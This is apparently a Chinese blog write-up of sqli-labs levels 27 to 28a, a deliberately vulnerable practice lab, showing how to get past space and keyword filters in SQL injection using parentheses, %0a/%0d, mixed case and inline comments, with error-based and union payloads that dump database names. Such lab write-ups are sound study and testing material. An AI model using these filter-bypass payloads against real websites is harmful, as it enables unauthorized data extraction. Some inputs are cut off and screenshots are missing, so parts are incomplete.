第二十七关:

这关禁用了空格和select,空格还是可以使用()代替,select发现可以大小写绕过

输入?id=1'||extractvalue(1,concat(0x5c,(selEct(group_concat(schema_name))from(information_schema.schemata))))||'1'='1

sqli-labs(十二)(union以及select的过滤)

这里还有个问题就是,空格被过滤了,貌似不能使用联合注入了。网上有人说可以使用%0a ,是可以的

sqli-labs(十二)(union以及select的过滤)

 

还可以使用内联注释的/*! content */  但是这关过滤了/*  所以不行,不过我在第一关中尝试了 是可以的

sqli-labs(十二)(union以及select的过滤)

 

第二十七a关:

和第二十七关一样,只是需要将报错注入改成盲注。

输入?r

sqli-labs(十二)(union以及select的过滤)

 

 使用延时的盲注如下

输入:?1

sqli-labs(十二)(union以及select的过滤)

 

第二十八关:

先看源码

sqli-labs(十二)(union以及select的过滤)

\s代表先去掉多有空格,报错%0a,/i表示忽略大小写。

可以输入?id=0')union(select%0d1,database(),'3

sqli-labs(十二)(union以及select的过滤)

 

第二十八a关:

比二十八关的过滤还少些,就不多说了。直接使用上面的expload就行。

相关文章:

  • 2021-11-07
  • 2021-12-30
  • 2021-10-19
  • 2021-06-20
  • 2021-12-24
  • 2021-07-28
  • 2022-12-23
  • 2022-12-23
猜你喜欢
  • 2022-02-24
  • 2021-10-01
  • 2021-06-19
  • 2021-06-02
  • 2022-12-23
  • 2022-12-23
  • 2022-01-23
相关资源
相似解决方案